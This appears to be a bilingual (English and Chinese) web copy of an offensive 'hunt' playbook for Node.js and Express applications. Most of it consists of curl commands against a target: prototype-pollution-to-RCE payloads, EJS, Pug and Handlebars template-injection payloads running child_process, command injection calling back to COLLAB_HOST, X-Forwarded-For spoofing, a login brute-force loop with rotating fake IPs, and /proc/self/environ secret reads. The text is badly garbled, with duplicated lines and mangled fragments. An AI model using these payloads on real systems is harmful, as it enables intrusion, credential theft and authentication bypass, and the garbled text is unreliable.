hunt-nodejs
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-NODEJS — Node.js Specific Vulnerabilities
HUNT-NODEJS — Node.js 特有漏洞
Crown Jewel Targets
核心高价值目标
Prototype Pollution reaching a sink in Node.js backend = Critical RCE.
Highest-value chains:
- Prototype Pollution → RCE — injection via
__proto__/lodash.merge→ polluted prototype reachesObject.assignorchild_process.execsinkvm.runInNewContext - Express trust proxy — without validation → attacker sets
app.set('trust proxy', true)to bypass IP allowlists or rate limitsX-Forwarded-For - EJS/Pug SSTI — template engine receives user input →
{{= process.mainModule.require('child_process').execSync('id') }} - injection — user input interpolated into shell command string → OS command injection
child_process - path traversal — attacker-controlled module path → load arbitrary file as JS
require()
在 Node.js 后端中,Prototype Pollution 到达 sink = 严重级 RCE。
最高价值的攻击链:
- Prototype Pollution → RCE — 通过 /
lodash.merge注入Object.assign→ 被污染的原型最终到达__proto__或child_process.execsinkvm.runInNewContext - Express trust proxy — 未进行验证 → 攻击者可设置
app.set('trust proxy', true)来绕过 IP 白名单或速率限制X-Forwarded-For - EJS/Pug SSTI — 模板引擎接收用户输入 →
{{= process.mainModule.require('child_process').execSync('id') }} - 注入 — 用户输入被拼接到 shell 命令字符串中 → OS 命令注入
child_process - 路径遍历 — 攻击者可控的模块路径 → 将任意文件作为 JS 加载
require()
Attack Surface Signals
攻击面特征
X-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidateX-Powered-By: Express Confirms Express.js
Node.js in error messages Runtime detected
package.json exposed Dependency list + versions
/proc/self/environ accessible Environment variable exfil
Error stack traces with .js paths Node.js confirmed
__proto__ in JSON accepted Prototype pollution candidatePhase 1 — Fingerprint
阶段 1 — 指纹识别
bash
undefinedbash
undefinedConfirm Node.js/Express
Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by|nodejs|express"
curl -sI https://$TARGET/ | grep -i "x-powered-by|nodejs|express"
Check for package.json / node_modules exposure
Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"
Error-based version detection
Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node|express|cannot GET"
---curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node|express|cannot GET"
---Phase 2 — Prototype Pollution Detection
阶段 2 — Prototype Pollution 检测
bash
undefinedbash
undefinedJSON body injection — test if proto is accepted
JSON body injection — test if proto is accepted
curl -s -X POST https://$TARGET/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"polluted": "yes"}}'
-H "Content-Type: application/json"
-d '{"proto": {"polluted": "yes"}}'
curl -s -X POST https://$TARGET/api/merge
-H "Content-Type: application/json"
-d '{"proto": {"polluted": "yes"}}'
-H "Content-Type: application/json"
-d '{"proto": {"polluted": "yes"}}'
Constructor prototype
Constructor prototype
curl -s -X POST https://$TARGET/api/settings
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
curl -s -X POST https://$TARGET/api/settings
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
-H "Content-Type: application/json"
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
URL query param injection (qs library)
URL query param injection (qs library)
curl -s "https://$TARGET/api/search?proto[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
curl -s "https://$TARGET/api/search?proto[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"
Confirm pollution: does a subsequent request reflect the polluted key?
Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted|isAdmin|admin"
---curl -s "https://$TARGET/api/me" | grep -i "polluted|isAdmin|admin"
---Phase 3 — Prototype Pollution → RCE Chain
阶段 3 — Prototype Pollution → RCE 链
bash
undefinedbash
undefinedIf pollution is confirmed, attempt to reach dangerous sinks
If pollution is confirmed, attempt to reach dangerous sinks
Sink 1: child_process via options.shell pollution
Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update
-H "Content-Type: application/json"
-d '{ "proto": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/fd/0", "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} } }'
-H "Content-Type: application/json"
-d '{ "proto": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/fd/0", "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} } }'
curl -s -X POST https://$TARGET/api/update
-H "Content-Type: application/json"
-d '{ "proto": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/fd/0", "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} } }'
-H "Content-Type: application/json"
-d '{ "proto": { "shell": "node", "NODE_OPTIONS": "--require /proc/self/fd/0", "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"} } }'
Sink 2: lodash template pollution (CVE-2021-23337)
Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"proto": {"sourceURL": "\nreturn process.mainModule.require("child_process").execSync("id").toString()//"}}'
-H "Content-Type: application/json"
-d '{"proto": {"sourceURL": "\nreturn process.mainModule.require("child_process").execSync("id").toString()//"}}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"proto": {"sourceURL": "\nreturn process.mainModule.require("child_process").execSync("id").toString()//"}}'
-H "Content-Type: application/json"
-d '{"proto": {"sourceURL": "\nreturn process.mainModule.require("child_process").execSync("id").toString()//"}}'
Sink 3: ejs template options pollution
Sink 3: ejs template options pollution
If EJS is used for rendering, pollute the opts.escapeXML
or opts.outputFunctionName
opts.escapeXMLopts.outputFunctionNameIf EJS is used for rendering, pollute the opts.escapeXML
or opts.outputFunctionName
opts.escapeXMLopts.outputFunctionNamecurl -s -X POST https://$TARGET/api/template
-H "Content-Type: application/json"
-d '{"proto": {"outputFunctionName": "x;process.mainModule.require("child_process").execSync("curl COLLAB_HOST/pp-rce");x"}}'
-H "Content-Type: application/json"
-d '{"proto": {"outputFunctionName": "x;process.mainModule.require("child_process").execSync("curl COLLAB_HOST/pp-rce");x"}}'
curl -s -X POST https://$TARGET/api/template
-H "Content-Type: application/json"
-d '{"proto": {"outputFunctionName": "x;process.mainModule.require("child_process").execSync("curl COLLAB_HOST/pp-rce");x"}}'
-H "Content-Type: application/json"
-d '{"proto": {"outputFunctionName": "x;process.mainModule.require("child_process").execSync("curl COLLAB_HOST/pp-rce");x"}}'
OOB confirmation — check Interactsh for callback
OOB confirmation — check Interactsh for callback
---
---Phase 4 — Express Trust Proxy Abuse
阶段 4 — Express Trust Proxy 滥用
bash
undefinedbash
undefinedIf Express has trust proxy enabled, X-Forwarded-For is trusted
If Express has trust proxy enabled, X-Forwarded-For is trusted
Test: does spoofed IP bypass IP-based rate limiting or allowlist?
Test: does spoofed IP bypass IP-based rate limiting or allowlist?
Spoof IP to 127.0.0.1 (localhost bypass)
Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"action": "test"}'
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"action": "test"}'
curl -s -X POST https://$TARGET/api/admin/action
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"action": "test"}'
-H "X-Forwarded-For: 127.0.0.1"
-H "Content-Type: application/json"
-d '{"action": "test"}'
Spoof to internal IP range
Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal
-H "X-Forwarded-For: 10.0.0.1"
-H "X-Real-IP: 10.0.0.1"
-H "X-Forwarded-For: 10.0.0.1"
-H "X-Real-IP: 10.0.0.1"
curl -s -X POST https://$TARGET/api/internal
-H "X-Forwarded-For: 10.0.0.1"
-H "X-Real-IP: 10.0.0.1"
-H "X-Forwarded-For: 10.0.0.1"
-H "X-Real-IP: 10.0.0.1"
Rate limit bypass via rotating fake IPs
Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
curl -s https://$TARGET/api/login
-H "X-Forwarded-For: 1.2.3.$i"
-d '{"email":"admin@test.com","password":"wrong"}'
-o /dev/null -w "$i: %{http_code}\n" done
-H "X-Forwarded-For: 1.2.3.$i"
-d '{"email":"admin@test.com","password":"wrong"}'
-o /dev/null -w "$i: %{http_code}\n" done
---for i in $(seq 1 50); do
curl -s https://$TARGET/api/login
-H "X-Forwarded-For: 1.2.3.$i"
-d '{"email":"admin@test.com","password":"wrong"}'
-o /dev/null -w "$i: %{http_code}\n" done
-H "X-Forwarded-For: 1.2.3.$i"
-d '{"email":"admin@test.com","password":"wrong"}'
-o /dev/null -w "$i: %{http_code}\n" done
---Phase 5 — Template Engine SSTI (EJS / Pug / Handlebars)
阶段 5 — 模板引擎 SSTI(EJS / Pug / Handlebars)
bash
undefinedbash
undefinedEJS SSTI — if user input reaches EJS template context
EJS SSTI — if user input reaches EJS template context
Test basic: <%= 7*7 %> should return 49
Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= 7*7 %>"}'
-H "Content-Type: application/json"
-d '{"template": "<%= 7*7 %>"}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= 7*7 %>"}'
-H "Content-Type: application/json"
-d '{"template": "<%= 7*7 %>"}'
EJS RCE payload
EJS RCE payload
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= process.mainModule.require("child_process").execSync("id").toString() %>"}'
-H "Content-Type: application/json"
-d '{"template": "<%= process.mainModule.require("child_process").execSync("id").toString() %>"}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "<%= process.mainModule.require("child_process").execSync("id").toString() %>"}'
-H "Content-Type: application/json"
-d '{"template": "<%= process.mainModule.require("child_process").execSync("id").toString() %>"}'
Pug SSTI
Pug SSTI
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "- var x = root.process\n= x.mainModule.require("child_process").execSync("id")"}'
-H "Content-Type: application/json"
-d '{"template": "- var x = root.process\n= x.mainModule.require("child_process").execSync("id")"}'
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "- var x = root.process\n= x.mainModule.require("child_process").execSync("id")"}'
-H "Content-Type: application/json"
-d '{"template": "- var x = root.process\n= x.mainModule.require("child_process").execSync("id")"}'
Handlebars — prototype pollution via template
Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(childprocess).execSync(id)"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
-H "Content-Type: application/json"
-d '{"template": "{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(childprocess).execSync(id)"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
---curl -s -X POST https://$TARGET/api/render
-H "Content-Type: application/json"
-d '{"template": "{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(childprocess).execSync(id)"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
-H "Content-Type: application/json"
-d '{"template": "{{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push "return process.mainModule.require(childprocess).execSync(id)"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'
---Phase 6 — child_process Command Injection
阶段 6 — child_process 命令注入
bash
undefinedbash
undefinedLook for endpoints that run shell commands with user input
Look for endpoints that run shell commands with user input
Signals: /api/convert, /api/exec, /api/ping, /api/scan
Signals: /api/convert, /api/exec, /api/ping, /api/scan
Basic injection test
Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec
-H "Content-Type: application/json"
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
-H "Content-Type: application/json"
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec
-H "Content-Type: application/json"
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
-H "Content-Type: application/json"
-d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'
OOB via DNS
OOB via DNS
curl -s "https://$TARGET/api/dns?host=$(curl+COLLAB_HOST/dns-ci).example.com"
---curl -s "https://$TARGET/api/dns?host=$(curl+COLLAB_HOST/dns-ci).example.com"
---Phase 7 — /proc/self/environ Exfil
阶段 7 — /proc/self/environ 数据外泄
bash
undefinedbash
undefinedIf LFI exists on Node.js app, /proc/self/environ leaks env vars
If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"
Also check:
Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
---curl -s "https://$TARGET/api/file?path=/proc/self/cmdline" # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd" # working directory
---Chain Table
攻击链表
| Node.js finding | Chain to | Impact |
|---|---|---|
| Prototype pollution confirmed | Find RCE sink (child_process, eval) | Critical RCE |
| Express trust proxy | Bypass IP allowlist / rate limit | Auth bypass / DoS bypass |
| SSTI in template engine | OS command execution | Critical RCE |
| child_process injection | | Critical RCE |
| /proc/self/environ via LFI | AWS_ACCESS_KEY_ID leaked | Cloud compromise |
| Node.js 发现结果 | 可链式利用至 | 影响 |
|---|---|---|
| Prototype Pollution 已确认 | 查找 RCE sink(child_process、eval) | 严重级 RCE |
| Express trust proxy | 绕过 IP 白名单 / 速率限制 | 身份验证绕过 / DoS 绕过 |
| 模板引擎中存在 SSTI | OS 命令执行 | 严重级 RCE |
| child_process 注入 | | 严重级 RCE |
| 通过 LFI 访问 /proc/self/environ | AWS_ACCESS_KEY_ID 泄露 | 云环境失陷 |
Validation
验证
✅ Prototype pollution: key appears in subsequent API responses without being sent
✅ RCE chain: OOB callback received OR output in response
✅ Trust proxy: spoofed IP accepted, bypasses rate limit or allowlist
idSeverity:
- Prototype pollution → RCE: Critical
- SSTI → RCE: Critical
- child_process injection: Critical
- Trust proxy → rate limit bypass: Medium
- /proc/self/environ exfil: High (if cloud keys present)
✅ Prototype Pollution:未在后续请求中发送该键,但它出现在后续 API 响应中
✅ RCE 链:收到 OOB 回调,或响应中包含 输出
✅ Trust Proxy:伪造的 IP 被接受,并绕过速率限制或白名单
id严重程度:
- Prototype Pollution → RCE:严重
- SSTI → RCE:严重
- child_process 注入:严重
- Trust Proxy → 速率限制绕过:中危
- /proc/self/environ 数据外泄:高危(存在云端密钥时)